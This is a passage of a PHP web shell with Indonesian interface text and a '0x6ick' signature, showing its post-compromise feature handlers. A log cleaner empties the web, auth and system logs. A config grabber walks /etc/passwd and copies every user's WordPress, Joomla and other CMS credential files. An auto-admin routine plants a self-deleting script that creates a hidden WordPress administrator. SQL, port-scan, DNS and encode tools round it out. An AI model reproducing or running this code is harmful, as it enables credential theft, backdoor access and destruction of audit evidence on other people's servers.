"; // Show affected rows even for SELECT if no rows.
}
$sql_output .= "
";
} else { // Non-SELECT query (INSERT, UPDATE, DELETE, etc.)
$sql_output = "Query Berhasil Dieksekusi. " . mysqli_affected_rows($conn) . " baris terpengaruh.";
}
// Only free result if it's an object (i.e., from SELECT queries)
if (is_object($query_result)) {
mysqli_free_result($query_result);
}
}
mysqli_close($conn);
}
$_SESSION['feature_output'] = $sql_output;
redirect_to_current_path('success', 'SQL Client Selesai.', $path);
}
// Log Cleaner
if(isset($_POST['clean_logs_submit'])) {
$log_paths = [];
$log_results = "";
// Common Linux Log Paths
$log_paths['/var/log/apache2/access.log'] = 'Apache Access Log';
$log_paths['/var/log/apache2/error.log'] = 'Apache Error Log';
$log_paths['/var/log/nginx/access.log'] = 'Nginx Access Log';
$log_paths['/var/log/nginx/error.log'] = 'Nginx Error Log';
$log_paths['/var/log/auth.log'] = 'Authentication Log';
$log_paths['/var/log/syslog'] = 'System Log';
$log_paths['/var/log/messages'] = 'Messages Log';
$log_paths['/var/log/mysql/mysql.log'] = 'MySQL General Log';
$log_paths['/var/log/mysql/error.log'] = 'MySQL Error Log';
$log_paths['/var/log/maillog'] = 'Mail Log';
$log_paths['/var/log/secure'] = 'Secure Log (RHEL/CentOS)';
foreach ($log_paths as $path_to_clean => $log_name) {
if (file_exists($path_to_clean) && is_writable($path_to_clean)) {
if (file_put_contents($path_to_clean, '') !== false) {
$log_results .= htmlspecialchars("[$log_name] ($path_to_clean) -> BERSIH! ");
} else {
$log_results .= htmlspecialchars("[$log_name] ($path_to_clean) -> GAGAL DIBERSIHKAN (Izin/Masalah Tulis) ");
}
} elseif (file_exists($path_to_clean) && !is_writable($path_to_clean)) {
$log_results .= htmlspecialchars("[$log_name] ($path_to_clean) -> TIDAK DAPAT DITULIS (Izin) ");
} else {
$log_results .= htmlspecialchars("[$log_name] ($path_to_clean) -> TIDAK DITEMUKAN ");
}
}
$_SESSION['feature_output'] = $log_results;
redirect_to_current_path('success', 'Log Cleaner Selesai.', $path);
}
// Encode/Decode
if(isset($_POST['encode_decode_submit'])) {
$text_input = $_POST['encode_decode_text'];
$action_type = $_POST['encode_decode_action'];
$result_output = '';
switch($action_type) {
case 'base64_encode': $result_output = base64_encode($text_input); break;
case 'base64_decode': $result_output = base64_decode($text_input); break;
case 'url_encode': $result_output = urlencode($text_input); break;
case 'url_decode': $result_output = urldecode($text_input); break;
case 'md5': $result_output = md5($text_input); break;
case 'sha1': $result_output = sha1($text_input); break;
case 'str_reverse': $result_output = strrev($text_input); break;
default: $result_output = "Invalid action.";
}
$_SESSION['feature_output'] = htmlspecialchars($result_output); // Use a single session variable for general feature output
redirect_to_current_path('success', 'Encode/Decode Selesai.', $path);
}
// Config Grabber
if(isset($_POST['start_config_grab'])){
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$_SESSION['feature_output'] = "Tidak bisa di gunakan di server windows";
} else {
$etc_passwd_content = @file_get_contents("/etc/passwd");
if ($etc_passwd_content === false) {
$_SESSION['feature_output'] = "Gagal membaca /etc/passwd. Periksa izin.";
} else {
$grab_config_output_temp = "";
@mkdir("configs_6ickZone_grabbed", 0777); // Changed directory name
@chdir("configs_grabbed_by_0x6ick");
preg_match_all('/(.*?):x:/', $etc_passwd_content, $user_config);
foreach($user_config[1] as $user_name_found) { // Changed var name from $user_sanrei
$grab_config_paths = array(
"/home/$user_name_found/.accesshash" => "WHM-accesshash",
"/home/$user_name_found/public_html/wp-config.php" => "Wordpress",
"/home/$user_name_found/public_html/configuration.php" => "Joomla",
"/home/$user_name_found/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_name_found/public_html/forum/config.php" => "phpBB",
"/home/$user_name_found/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_name_found/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_name_found/public_html/app/etc/local.xml" => "Magento",
"/home/$user_name_found/public_html/admin/config.php" => "OpenCart",
"/home/$user_name_found/public_html/application/config/database.php" => "Ellislab",
"/home/$user_name_found/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user_name_found/public_html/includes/config.php" => "Vbulletin",
);
foreach($grab_config_paths as $config_path_abs => $config_type_name) {
$ambil_config = @file_get_contents($config_path_abs);
if($ambil_config != '') {
$grab_config_output_temp .= htmlspecialchars("$config_path_abs -> FOUND ($config_type_name) ");
@file_put_contents("$user_name_found-$config_type_name.txt", $ambil_config);
}
}
}
if (empty($grab_config_output_temp)) {
$grab_config_output_temp = "Tidak ada konfigurasi yang ditemukan.";
} else {
$grab_config_output_temp .= " Konfigurasi disimpan di folder 'configs_grabbed_by_0x6ick' di direktori shell.";
}
@chdir($path); // Return to original directory
$_SESSION['feature_output'] = $grab_config_output_temp;
}
}
redirect_to_current_path('success', 'Config Grabber Selesai.', $path);
}
// Auto Create WordPress Admin
if(isset($_POST['wp_admin_submit'])) {
$wp_root_path = $_POST['wp_root_path']; // Get WordPress root path
$wp_username = sanitizeFilename($_POST['wp_username']);
$wp_password = $_POST['wp_password'];
$wp_email = $_POST['wp_email'];
$admin_script_name = "0x6ick_wp_admin_" . uniqid() . ".php"; // Changed filename
$admin_script_path = $wp_root_path . '/' . $admin_script_name;
$admin_code = " '" . addslashes($wp_username) . "',
'user_pass' => '" . addslashes($wp_password) . "',
'user_email' => '" . addslashes($wp_email) . "',
'role' => 'administrator'
));
if (!is_wp_error(\$user_id)) {
echo 'Administrator WordPress ' . \$user_id . ' (' . \"" . addslashes($wp_username) . "\" ) berhasil dibuat.';
} else {
echo 'Gagal membuat administrator WordPress: ' . \$user_id->get_error_message();
}
//self
// Attempt to delete self
unlink(__FILE__);
}
?>";
if (file_put_contents($admin_script_path, $admin_code) !== false) {
// Execute the script by accessing its URL using cURL for robustness
$scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
// Construct the URL to the temporary WP admin creation script
$clean_wp_root_path = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath($wp_root_path));
$temp_script_url = "{$scheme}://{$host}" . $clean_wp_root_path . "/{$admin_script_name}";
$temp_script_url = str_replace('//','/',$temp_script_url); // Fix double slashes
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $temp_script_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects if any
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Max 10 seconds to execute script
$result = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
if ($curl_error) {
$_SESSION['feature_output'] = "cURL Error executing WP Admin script: " . htmlspecialchars($curl_error);
} else {
$_SESSION['feature_output'] = htmlspecialchars($result);
}
// Try to delete the script right after execution
if (file_exists($admin_script_path)) {
unlink($admin_script_path); // Attempt immediate delete
}
redirect_to_current_path('success', 'Proses Buat Admin WordPress Selesai. Cek output.', $path);
} else {
redirect_to_current_path('error', 'Gagal membuat file script admin di ' . htmlspecialchars($wp_root_path) . '. Periksa izin tulis.', $path);
}
}
// Ping Tool
if(isset($_POST['ping_submit'])) {
$target_host = $_POST['ping_target'];
$ping_count = intval($_POST['ping_count']);
if ($ping_count <= 0 || $ping_count > 10) $ping_count = 4; // Default to 4 pings
$ping_cmd = "ping -c {$ping_count} " . escapeshellarg($target_host); // Use escapeshellarg for safety
$ping_output = exe($ping_cmd);
$_SESSION['feature_output'] = htmlspecialchars($ping_output);
redirect_to_current_path('success', 'Ping Selesai.', $path);
}
// Port Scanner
if(isset($_POST['portscan_submit'])) {
$target_host = $_POST['portscan_target'];
$ports_to_scan = $_POST['ports_to_scan']; // e.g., "80,443,21-23"
$scan_output = "";
// Prioritize nmap if available, otherwise netcat
if (function_exists('exec') || function_exists('shell_exec')) { // Check if command execution is generally enabled
if (trim(exe('which nmap')) !== '') { // Check if nmap is installed
$scan_cmd = "nmap -p " . escapeshellarg($ports_to_scan) . " " . escapeshellarg($target_host);
$scan_output = exe($scan_cmd);
} elseif (trim(exe('which nc')) !== '') { // Check if netcat is installed
$ports_array = explode(',', $ports_to_scan);
foreach ($ports_array as $port_range) {
if (strpos($port_range, '-') !== false) { // Handle port ranges
list($start_port, $end_port) = explode('-', $port_range);
for ($p = (int)$start_port; $p <= (int)$end_port; $p++) {
$nc_cmd = "nc -zvn " . escapeshellarg($target_host) . " " . escapeshellarg($p) . " 2>&1";
$scan_output .= exe($nc_cmd) . "\n";
}
} else { // Handle single ports
$nc_cmd = "nc -zvn " . escapeshellarg($target_host) . " " . escapeshellarg($port_range) . " 2>&1";
$scan_output .= exe($nc_cmd) . "\n";
}
}
$scan_output = "Nmap not found, using Netcat. Output might be verbose:\n" . $scan_output;
} else {
$scan_output = "Error: Nmap or Netcat not found on server.";
}
} else {
$scan_output = "Error: Command execution functions are disabled.";
}
$_SESSION['feature_output'] = htmlspecialchars($scan_output);
redirect_to_current_path('success', 'Port Scan Selesai.', $path);
}
// DNS Lookup
if(isset($_POST['dns_lookup_submit'])) {
$target_domain = $_POST['dns_lookup_target'];
$record_type = $_POST['dns_record_type']; // e.g., A, MX, NS
$dns_output = "";
if (trim(exe('which dig')) !== '') { // Prioritize dig
$dns_cmd = "dig " . escapeshellarg($target_domain) . " " . escapeshellarg($record_type);
$dns_output = exe($dns_cmd);
} elseif (trim(exe('which nslookup')) !== '') { // Fallback to nslookup
$dns_cmd = "nslookup -type=" . escapeshellarg($record_type) . " " . escapeshellarg($target_domain);
$dns_output = exe($dns_cmd);
} else {
$dns_output = "Error: dig or nslookup not found on server.";
}
$_SESSION['feature_output'] = htmlspecialchars($dns_output);
redirect_to_current_path('success', 'DNS Lookup Selesai.', $path);
}
// Whois Lookup
if(isset($_POST['whois_submit'])) {
$target_domain = $_POST['whois_target'];
$whois_output = "";
if (trim(exe('which whois')) !== '') {
$whois_cmd = "whois " . escapeshellarg($target_domain);
$whois_output = exe($whois_cmd);
} else {
$whois_output = "Error: whois command not found on server.";
}
$_SESSION['feature_output'] = htmlspecialchars($whois_output);
redirect_to_current_path('success', 'Whois Lookup Selesai.', $path);
}
?>
{$msg_text}";
}
// --- DISPLAY FEATURE OUTPUTS ---
// Handler to clear feature output when Home or Clear button is clicked
// This handler must be BEFORE the feature_output-box display
if (isset($_GET['clear_output']) && $_GET['clear_output'] === 'true') {
unset($_SESSION['feature_output']);
// Redirect to clear clear_output param from URL
$current_url_base = strtok($_SERVER["REQUEST_URI"], '?');
$query_params = $_GET;
unset($query_params['clear_output']);
$new_query_string = http_build_query($query_params);
header("Location: {$current_url_base}?" . $new_query_string);
exit();
}
if (isset($_SESSION['feature_output']) && !empty($_SESSION['feature_output'])) {
echo '
';
break;
case 'delete': // New: Delete handler using GET
// !!! Awokwok gajadi !!!
$show_file_list = false; // Tetap set false agar tidak kembali ke file listing
echo '
';
break;
}
}
// File List Table (Only displayed if no specific action form is active)
if ($show_file_list) {
$scandir_items = @scandir($path);
if ($scandir_items === false) {
echo "
Failed to read directory: " . htmlspecialchars($path) . "